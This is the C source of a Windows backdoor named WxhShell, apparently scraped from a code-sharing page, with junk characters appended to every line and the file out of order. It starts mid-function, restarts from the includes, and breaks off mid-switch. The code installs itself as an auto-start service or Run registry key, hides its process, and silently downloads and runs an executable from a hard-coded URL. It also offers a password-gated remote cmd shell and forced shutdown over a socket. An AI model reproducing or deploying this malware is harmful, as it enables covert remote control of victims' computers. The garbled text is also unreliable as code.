    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e,UgTxZ  
    if(Boot(SHUTDOWN)) 7~f6j:{|z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m/nn}+*C  
    else { Ec 7M'~1  
    closesocket(wsh); 9ksrr{tW  
    ExitThread(0); Ft !~w#&-  
    } 2]ljm] \l  
    break; our5k   
    } _Z2)e*(  
  // 获取shell a<.@+sj{  
  case 's': { nHjwT5Q+Q  
    CmdShell(wsh); \s'6)_  
    closesocket(wsh); V= PoQ9d  
    ExitThread(0); ^%JWc 3jZ  
    break; ^umAfk5r?H  
  } gHshG;z*  
  // 退出 [?*^&[  
  case 'x': { {!h[@f4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vq:j?7  
    CloseIt(wsh); +ETw:i9!?  
    break; <~w#sIh  
    } 9~I WGj?  
  // 离开 B.#0kjA}  
  case 'q': { 'L/TaP/3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7Y:s6R|  
    closesocket(wsh); iX p8u**  
    WSACleanup(); l !v#6#iq  
    exit(1); ZrS!R[  
    break; oZtz"B  
        } E@KK\m \e  
  } BW 7[JD  
  } 6I0MJpLW  
jN0v<_PJED  
  // 提示信息 n0q(EQy1U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N0PX<$y  
} >0oc=9H8  
  } ZT#G:a  
VuW19-G  
  return; }=FQKqtC  
} dX=^>9hN/  
[f}1wZ*  
// shell模块句柄 i^l;PvIF  
int CmdShell(SOCKET sock) < n{9pZ5.  
{ =fPO0Ot;  
STARTUPINFO si; i1C'  
ZeroMemory(&si,sizeof(si)); RJSgts "F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?}>tfDu'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RI=B(0 A  
PROCESS_INFORMATION ProcessInfo; \Wk$>?+#@  
char cmdline[]="cmd"; T9A5L"-6T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VrK5a9*^  
  return 0; L  z  
} we9AB_y  
S0`*  
// 自身启动模式 {PKER$C  
int StartFromService(void) q8J/tw?%v  
{ %O${EN  
typedef struct @[Th{HTc.G  
{ ` g~-5Z~J  
  DWORD ExitStatus; mq L+W  
  DWORD PebBaseAddress; |Th{*IJ <,  
  DWORD AffinityMask; P$bo8*  
  DWORD BasePriority; W=*\4B]  
  ULONG UniqueProcessId; .\ZxwD|  
  ULONG InheritedFromUniqueProcessId; jX%Q  
}   PROCESS_BASIC_INFORMATION; 6FE[snw  
]+8,@%="  
PROCNTQSIP NtQueryInformationProcess; G r)+O  
[g? NU]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yT4|eHl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Evc 9k  
^RyrUb  
  HANDLE             hProcess; ~EBZlTN  
  PROCESS_BASIC_INFORMATION pbi; /[OMpP  
&V"&SV>}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #?9o A4Q  
  if(NULL == hInst ) return 0; QS_u<B  
@;0Ep 0[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;p/@tr9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cmTZ))m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a'Z"Yz^Eo  
8HzEH-J   
  if (!NtQueryInformationProcess) return 0; 4ZIXG,@mZJ  
C9h8d   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6=   
  if(!hProcess) return 0; L4!$bB~L-  
__QT lj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U;(&!Ei  
W +S>/`N  
  CloseHandle(hProcess); Y9WH%  
=<g\B?s]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +#W5Qb}VR  
if(hProcess==NULL) return 0; Pw")|85  
r~sGot+sQA  
HMODULE hMod; R1nctA:  
char procName[255]; tFGLqR%/  
unsigned long cbNeeded; U+K_eEI0_I  
()7=(<x{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {E9Y)Z9  
cX*^PSM  
  CloseHandle(hProcess); PtHT>  
vF_?1|*|  
if(strstr(procName,"services")) return 1; // 以服务启动 K= 69z  
csC3Wm{v  
  return 0; // 注册表启动 M! s&<Bi  
} ?0.+DB $  
t~Uqsa>n@'  
// 主模块 )b =$!  
int StartWxhshell(LPSTR lpCmdLine) eq"~by[Uq  
{ dLAElTg  
  SOCKET wsl; 6)TFb,  
BOOL val=TRUE; QoqdPk#1  
  int port=0; k8h$#@^  
  struct sockaddr_in door; Sh"} c2  
AVi|JY)>  
  if(wscfg.ws_autoins) Install(); #i~.wQ $1  
Jzr(A^vwo  
port=atoi(lpCmdLine); xT@\FwPr  
X1+Wb9P  
if(port<=0) port=wscfg.ws_port; k\EMO\je  
pdE=9l'  
  WSADATA data; X }^,g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sI~{it#  
gSP|;Gy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   13B[m p4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }C)   
  door.sin_family = AF_INET; }ulFW]A^7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qd@`jwjS  
  door.sin_port = htons(port); wZ *m  
N?~K9jGx(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0BD3~Lv  
closesocket(wsl); #j@Su )+  
return 1; ]e+S~me  
} -PxA~((g5  
byd[pnI$H  
  if(listen(wsl,2) == INVALID_SOCKET) { B&tl6?7h  
closesocket(wsl); 5^tL#  
return 1; sR#( \  
} k{9s>l~'  
  Wxhshell(wsl); 1MOQ/N2BR  
  WSACleanup(); TVKuvKH8U  
HmQuRW  
return 0; oZ!rK/qoA  
c,e 0+  
} Pg5 1}{  
T#T!a0  
// 以NT服务方式启动 9!PJLI=D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zX(p\NU  
{ aWW|.#L  
DWORD   status = 0; _t3n<  
  DWORD   specificError = 0xfffffff; K47W7zR  
7ej"q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eja_+`cJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \U,.!'+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'kPShZS$b  
  serviceStatus.dwWin32ExitCode     = 0; N-;e" g  
  serviceStatus.dwServiceSpecificExitCode = 0; i9W@$I,f  
  serviceStatus.dwCheckPoint       = 0; d&t |Y:,8  
  serviceStatus.dwWaitHint       = 0; NO"=\Zn6  
8L.Y0_x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ->:G+<  
  if (hServiceStatusHandle==0) return; 2,'m]`;GNr  
`2 Vc*R  
status = GetLastError(); <T<?7SE+  
  if (status!=NO_ERROR) i9uJ%nd:  
{ K@`F*^A}V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  >Xh 9{/o  
    serviceStatus.dwCheckPoint       = 0; 1+v)#Wj  
    serviceStatus.dwWaitHint       = 0; %6HDLG6@^}  
    serviceStatus.dwWin32ExitCode     = status; * r$(lf  
    serviceStatus.dwServiceSpecificExitCode = specificError;  !3}vl Y1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !bS:!Il9=  
    return; U!TFFkX[  
  } <e)3 j6F!  
cl30"WK!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UVA|(:  
  serviceStatus.dwCheckPoint       = 0; ^.M*pe  
  serviceStatus.dwWaitHint       = 0; do C8!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D?;$:D"  
} v|"Nx42  
T[;O K  
// 处理NT服务事件,比如:启动、停止 {w1sv=$+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (s z=IB ;  
{ d7qHUx'=z  
switch(fdwControl) la[xbv   
{ 1|Us"GQ (n  
case SERVICE_CONTROL_STOP: u+~Ta  
  serviceStatus.dwWin32ExitCode = 0; #B_ ``XV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a$l  
  serviceStatus.dwCheckPoint   = 0; 1nye.i~  
  serviceStatus.dwWaitHint     = 0; KAT4C 4=,  
  { &+u) +<&;(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E?m(&O j  
  } :)SLi  
  return; m\)z& hv<r  
case SERVICE_CONTROL_PAUSE: d:|X|0#\uH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c~K^ooS-  
  break; MD%_Z/NL  
case SERVICE_CONTROL_CONTINUE: ri<E[8\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]g2Y/\)a  
  break; %XM wjBM  
case SERVICE_CONTROL_INTERROGATE: 3.Oc8(N^}  
  break; }Zu>?U  
}; R_e{H^pY^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rhGHR5 g  
} u_[s+ J/  
]L@VpHEj  
// 标准应用程序主函数 &9g4/c-?$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K3Zc>QL{  
{ WLma)L`L  
/p+ (_Y  
// 获取操作系统版本 0'{0kE[wn  
OsIsNt=GetOsVer(); (p08jR '5  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  m_LW<'  
z|; 7;TwA  
  // 从命令行安装 Sp3?I2 o  
  if(strpbrk(lpCmdLine,"iI")) Install(); K+5S7wFDZ  
a;jXMR  
  // 下载执行文件 /ldE (!^n  
if(wscfg.ws_downexe) { @-|{qP=Dy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8.3888  
  WinExec(wscfg.ws_filenam,SW_HIDE); gDU~hv  
} {%.FIw k  
2iYf)MC  
if(!OsIsNt) { k\W%^Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 z;yb;),  
HideProc(); c+|,q m  
StartWxhshell(lpCmdLine); d~1Nct$:  
} ~GZ!;An  
else %T4htZa  
  if(StartFromService()) t2d _XQOK  
  // 以服务方式启动 `@eo <6  
  StartServiceCtrlDispatcher(DispatchTable); ,y@`wq>O  
else o-"/1zLg4  
  // 普通方式启动 <8nl}^d5  
  StartWxhshell(lpCmdLine); (,<&H;,8  
C50&SrnBU1  
return 0; E#?*6/  
} +`4`OVE_#  
Q|/uL`_ni  
}GX[N\$N  
-S5M>W.Qb{  
=========================================== M il ![A1  
{a -bew  
R r7r5  
gRA}sF  
JbN@AX:%  
+rse,b&U(  
" ma@3BiM  
v).V&":  
#include <stdio.h> <8Y;9N|94!  
#include <string.h> {?tK]g#  
#include <windows.h> A;VjMfoB  
#include <winsock2.h> E=!=4"rZF  
#include <winsvc.h> _q*4+x  
#include <urlmon.h> 'ap<]mf2  
z*?-*6W  
#pragma comment (lib, "Ws2_32.lib") dm;H0v+Y'  
#pragma comment (lib, "urlmon.lib") I`Goc!5t  
P{2V@ <}  
#define MAX_USER   100 // 最大客户端连接数 v,z s dr"d  
#define BUF_SOCK   200 // sock buffer $U=E7JO  
#define KEY_BUFF   255 // 输入 buffer q0|u vt"  
#>~<rcE(  
#define REBOOT     0   // 重启 W'2T7ha Es  
#define SHUTDOWN   1   // 关机 6b1f ?0  
ds@X%L;_  
#define DEF_PORT   5000 // 监听端口 n^<3E; a  
c"qaULY  
#define REG_LEN     16   // 注册表键长度 E#3KWp#M  
#define SVC_LEN     80   // NT服务名长度 D4 {?f<G0F  
sjh>i>t  
// 从dll定义API Q(@/,%EF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S;a'@5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #sl_ BC9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J[E_n;d1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x:'M\c7  
~x<nz/^  
// wxhshell配置信息 r(sQI# P  
struct WSCFG { ::13$g=T9s  
  int ws_port;         // 监听端口 ,>"rcd  
  char ws_passstr[REG_LEN]; // 口令 %ux%=@%  
  int ws_autoins;       // 安装标记, 1=yes 0=no /*g9drwaa  
  char ws_regname[REG_LEN]; // 注册表键名 lZT9 SDtS  
  char ws_svcname[REG_LEN]; // 服务名 #hinb[fQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zh5'oE&[yC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TMt,\gTd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }1]E=!?)&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +$]eA'Bh@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $Pa7B]A,Ae  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Hya  ";'  
DG_tmDT4  
}; BcJ]bIbKb  
u{%gB&nC  
// default Wxhshell configuration $HjKELoJ<  
struct WSCFG wscfg={DEF_PORT, \BB(0Ah+t  
    "xuhuanlingzhe", % :?_N  
    1, uP,{yna(  
    "Wxhshell", OkSJob  
    "Wxhshell", yX:A?U  
            "WxhShell Service", e&&;"^@-  
    "Wrsky Windows CmdShell Service", KP)BD;  
    "Please Input Your Password: ", )c9]}:W&  
  1, &cj/8A5-  
  "http://www.wrsky.com/wxhshell.exe", ^B9rt\,q  
  "Wxhshell.exe" **\BP,]}  
    }; &{B-a  
o`^GUY}  
// 消息定义模块 %(4G[R[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cv fh:~L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ibDMhW$n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q|PB[*T  
char *msg_ws_ext="\n\rExit."; qX'w}nJ}H}  
char *msg_ws_end="\n\rQuit."; gv=mz,z  
char *msg_ws_boot="\n\rReboot..."; X1*6qd+E  
char *msg_ws_poff="\n\rShutdown..."; zG z^T  
char *msg_ws_down="\n\rSave to "; )k5lA=(Yr+  
^+Ez[S{8  
char *msg_ws_err="\n\rErr!"; p'afCX@J  
char *msg_ws_ok="\n\rOK!"; 5ug?'TOj'  
OCy\aCp  
char ExeFile[MAX_PATH]; >V~q`htth  
int nUser = 0; 3Rid 1;L0U  
HANDLE handles[MAX_USER]; hjiU{@q  
int OsIsNt; i<D}"h|  
4-q7o]%5<  
SERVICE_STATUS       serviceStatus; zUn> )#ZC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 66\0JsT?3  
w>I>9O}(`  
// 函数声明 xG<H${ k;  
int Install(void); 4)=LOGW  
int Uninstall(void); H~-zq} 4  
int DownloadFile(char *sURL, SOCKET wsh); +Q, 0kv  
int Boot(int flag); ,x5`5mT3  
void HideProc(void); db"FC3/H  
int GetOsVer(void); ok5 {c  
int Wxhshell(SOCKET wsl); Cna@3)_  
void TalkWithClient(void *cs); SsjO1F  
int CmdShell(SOCKET sock); qF6YH  
int StartFromService(void); L K9vvQz  
int StartWxhshell(LPSTR lpCmdLine); [KkLpZG  
g~d}?B\<@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J'.:l}g!1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GY4 :9Lub7  
`>RJ*_aKEI  
// 数据结构和表定义 ,=l MtW  
SERVICE_TABLE_ENTRY DispatchTable[] = bG +p  
{ @f0~a  
{wscfg.ws_svcname, NTServiceMain}, 8?W!U*0aS  
{NULL, NULL} )8oI  s  
}; oaI7j=Gp  
k%QhF]  
// 自我安装 #{(?a.:  
int Install(void) +-,Q>`  
{ 9;Ezm<VQ  
  char svExeFile[MAX_PATH]; h 88iZK  
  HKEY key; '6{q;Bxo  
  strcpy(svExeFile,ExeFile); ZeK*MPxQ  
?)Lktn9%  
// 如果是win9x系统,修改注册表设为自启动 j._9;HifZ  
if(!OsIsNt) { n4)G g~PE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BW:&AP@B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?7G?uk]3,@  
  RegCloseKey(key); .CI]8O"3y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7&NRE"?G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mT@UQCG  
  RegCloseKey(key); RrLQM!~  
  return 0; U*/  
    } `a:@[0r0U  
  } >U"f1q*$  
} Opmb   
else { $$ {ebt  
u4$d#0sA  
// 如果是NT以上系统,安装为系统服务 j]J2,J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8nES=<rz  
if (schSCManager!=0) Rjo6Pd{d<  
{ qChS} Q  
  SC_HANDLE schService = CreateService :<ujk  
  ( M6 AQ8~z  
  schSCManager, QfU 0*W?r  
  wscfg.ws_svcname, `]WU=Ss  
  wscfg.ws_svcdisp, rf;R"Uc  
  SERVICE_ALL_ACCESS, @Qruc\_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zo@>~G3$9  
  SERVICE_AUTO_START, 2K, 1wqf'  
  SERVICE_ERROR_NORMAL, a>sUq["  
  svExeFile, !i_5Xc H  
  NULL, C_O 7  
  NULL, ~u%9@}Oo>  
  NULL, nT|fDD|  
  NULL, ,a$LT   
  NULL w \0=L=J  
  ); p`{<q -  
  if (schService!=0) o [ar.+[  
  { )^%,\l-!  
  CloseServiceHandle(schService); e[915Q_  
  CloseServiceHandle(schSCManager); 9jaYmY]~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "TtK!>!.  
  strcat(svExeFile,wscfg.ws_svcname); CN brXN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { plfz)x3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3m7$$ N|  
  RegCloseKey(key); 9]NsWd^^  
  return 0; ]N1$ioC#  
    } aH"tSgi  
  } _3A$z A  
  CloseServiceHandle(schSCManager); B HZGQm  
} .h~)|" uzW  
} Yz-b~D/=}  
9IMRWtZWT  
return 1; Gjy'30IF  
} &??(EA3  
Q:_pW<^  
// 自我卸载 8qS)j1.!  
int Uninstall(void) wZfR>|f  
{ ` mCcD  
  HKEY key; ~Gwn||g78  
webT  
if(!OsIsNt) { '|Q=J)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fM S-  
  RegDeleteValue(key,wscfg.ws_regname); ynP^|Ou  
  RegCloseKey(key); %5F=!( w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9=3V}]^M  
  RegDeleteValue(key,wscfg.ws_regname); D\* raQ`n  
  RegCloseKey(key); ,8$;|#d  
  return 0; iy$]9Wf6=@  
  } OY"{XnPZ  
} [&FMVM`  
} @ULr)&9  
else { {R1jysG tD  
=9pFb!KX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vj{h*~  
if (schSCManager!=0) #exE ~@fy-  
{ BIcE3}dS8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $: Qi9N   
  if (schService!=0) $)7-wCl</  
  { Y;#P"-yH  
  if(DeleteService(schService)!=0) {  ZfvFs  
  CloseServiceHandle(schService); >DbG$V<v'  
  CloseServiceHandle(schSCManager); I"@5=m5  
  return 0; ?c>j^}A/N  
  } Y/@4|9!  
  CloseServiceHandle(schService); t}'Oh}CG  
  } @9vz%1B<l  
  CloseServiceHandle(schSCManager); M6 0(yTm  
} U.wgae].O;  
} w,`x(!&  
fep#Kb%"e  
return 1; =BX<;vU  
} W*U\79H  
1RcaE!\p  
// 从指定url下载文件 9.%{M#j  
int DownloadFile(char *sURL, SOCKET wsh) '>`bp25>  
{ vZXyc *  
  HRESULT hr; IL>Gi`Y&  
char seps[]= "/"; ~^VcTSY@<L  
char *token; ~9'VP }\  
char *file; 0kC!v,  
char myURL[MAX_PATH]; >Y{.)QS  
char myFILE[MAX_PATH]; =cRJtn  
!T @|9PCp  
strcpy(myURL,sURL); pQEHWq"Q  
  token=strtok(myURL,seps); /"/$1F%{  
  while(token!=NULL) XM8C{I1  
  { u4.-AY {  
    file=token; NO9Jre  
  token=strtok(NULL,seps); vx-u+/\  
  } t3bDi/m  
1~5={eI  
GetCurrentDirectory(MAX_PATH,myFILE); g<{~f  
strcat(myFILE, "\\"); \ =83#*KK  
strcat(myFILE, file); tnKzg21%  
  send(wsh,myFILE,strlen(myFILE),0); 0n3O;=[aV  
send(wsh,"...",3,0); ^M?uv{354  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !-\*rdE {9  
  if(hr==S_OK) 0HG*KW  
return 0; q:nYUW o   
else M)3h 4yQ  
return 1; T]E$H, p  
]`:Fj|>  
} t/q\Ne\\,  
]`UJwq  
// 系统电源模块 !^\|r<2M  
int Boot(int flag) KE(kR>OB]  
{ {OQ sGyR?  
  HANDLE hToken; jP}N^  
  TOKEN_PRIVILEGES tkp; /nC"'d(#  
:Eob"WH  
  if(OsIsNt) { y8,es$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v_G4:tY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *4.f*3*  
    tkp.PrivilegeCount = 1; 1uD}V7_y"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kW/ksz0)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R?]>8o,  
if(flag==REBOOT) { _ k>j?j-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NGb`f-:jw  
  return 0; dn`#N^Od  
} oXz:zoNQ  
else { x&8?/BR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (r7~ccy4  
  return 0; $v>- @  
} 9K%E+_7b  
  } 5F0sfX  
  else { tU?lfU[7  
if(flag==REBOOT) { xi|iV1A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NP|U |zn  
  return 0; V:IoeQ]-  
} i2swots  
else { LWIU7dw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "h)+fAT|,  
  return 0; `%rqQnVB  
} wGbD%=  
} mWka!lT  
HK ;C*;vC%  
return 1; W]reQ&<Z  
} cL`l1:j\}  
a0.)zgWr  
// win9x进程隐藏模块 _YbHnb  
void HideProc(void) 2"%d!"  
{ !q$IB?8   
znu?x|mV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dyu~T{  
  if ( hKernel != NULL ) }.e*=/"MB  
  { a*vi&$@`Z1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "esV#%:#J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <4Ujk8Zj  
    FreeLibrary(hKernel); m#8mU,7  
  } V_Y SYG9f  
9/Q5(P  
return; v bh\uv&  
} c)lMi}/  
t'7)aJMP  
// 获取操作系统版本 Hh;7 hY\  
int GetOsVer(void) H%sbf& gi  
{ Z=wLNmH  
  OSVERSIONINFO winfo; 1uS _]59=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $g#%  
  GetVersionEx(&winfo); uv._N6mj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h5B'w  
  return 1; .K:>`~<)  
  else (}c}=V  
  return 0; T4w`I;&v  
} _`ot||J  
cojuU=i  
// 客户端句柄模块 'N'EC`R  
int Wxhshell(SOCKET wsl) #O`n Q  
{ opdi5 e)jK  
  SOCKET wsh; `"/@LUso  
  struct sockaddr_in client; R%54!f0 %  
  DWORD myID; [%Y Cupr#  
* 496"kU  
  while(nUser<MAX_USER) yg/.=M  
{ qfG`H#cA<  
  int nSize=sizeof(client); }0c'hWMZ}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]6FpUF#<D  
  if(wsh==INVALID_SOCKET) return 1; 8"RX~Igf  
'6[0NuB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r!j_KiUy  
if(handles[nUser]==0) &o:wSe  
  closesocket(wsh); /ey}#SHm,  
else 0FHN  
  nUser++; $Jx] FZDQ  
  } XeJx/'9o{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e3\*Np!rTQ  
2 ;U(r: ]  
  return 0; qp'HRh@P2:  
} m[(2  
beN0 ?G  
// 关闭 socket -hyY5!rD  
void CloseIt(SOCKET wsh) dk-Y!RfNx  
{ 2NqlE  
closesocket(wsh); /oE@F178  
nUser--; ;NB J@E,  
ExitThread(0); )Q&:$]  
} 9xN4\y6F  
`epO/Uu\~u  
// 客户端请求句柄 k G4v>  
void TalkWithClient(void *cs) {3@/@jO?  
{ -7$7TD`'7  
W=%}~ 7*  
  SOCKET wsh=(SOCKET)cs; VuPa '2  
  char pwd[SVC_LEN]; $yLsuqB}  
  char cmd[KEY_BUFF]; M7BJ$fA0E  
char chr[1]; N'=8Dj  
int i,j; UuzT*Y>  
Yfs60f  
  while (nUser < MAX_USER) { yM=% a3  
yiWBIJ2Wu9  
if(wscfg.ws_passstr) { I?EtU/AD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >5'C<jc C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +MvcW.W~  
  //ZeroMemory(pwd,KEY_BUFF); hL+)XJu^J  
      i=0; q`{crY30  
  while(i<SVC_LEN) { mi`!'If0)  
N/4`afiV.  
  // 设置超时 9l+'V0?`  
  fd_set FdRead; Fr`"XH  
  struct timeval TimeOut; !Z 3iu  
  FD_ZERO(&FdRead); ~C\R!DN,  
  FD_SET(wsh,&FdRead); eR$qw#%c*  
  TimeOut.tv_sec=8; [>U'P1@ql  
  TimeOut.tv_usec=0; >\+c@o[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jO&sS?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); { r yv7G  
W]}y:_t4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {U= Mfo?AH  
  pwd=chr[0]; q@1b{q#C5  
  if(chr[0]==0xd || chr[0]==0xa) { PJ5~,4H-4  
  pwd=0; S8(Y+jgk;a  
  break; [AstD9  
  } ^_0zO$z,  
  i++; {ZP0%MD  
    } H$bu*o-Z  
wJ,l"bnq  
  // 如果是非法用户,关闭 socket IH(]RHTp%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h mC. 5mY  
} nd_+g2x'  
_r@ FWUZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }TI"j{(QJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7jPPN  
c5Fl:=h  
while(1) { Kx==vq%39  
tbG^9d  
  ZeroMemory(cmd,KEY_BUFF); _Vul9=  
<]1Z  
      // 自动支持客户端 telnet标准   VbLwhA2W}F  
  j=0; _=!R l#  
  while(j<KEY_BUFF) { olda't  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v/gxQy+l  
  cmd[j]=chr[0]; y:,Ro@H%  
  if(chr[0]==0xa || chr[0]==0xd) { !6.}{6b  
  cmd[j]=0; b/"&E'5-`\  
  break; +||y/}1  
  } .{r0Szm.  
  j++; Z'=:Bo{  
    } E "9`  
4k%y*L  
  // 下载文件 %QYW0lE  
  if(strstr(cmd,"http://")) { IP<]a5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ix~_.&  
  if(DownloadFile(cmd,wsh)) ,cj531.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1j4tR#L  
  else \; #T.@c5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e"g=A=S  
  } <cig^B{nX  
  else { Z@sDxYt9  
u_31Db<  
    switch(cmd[0]) { #POVu|Y;h  
  Vd%%lv{v  
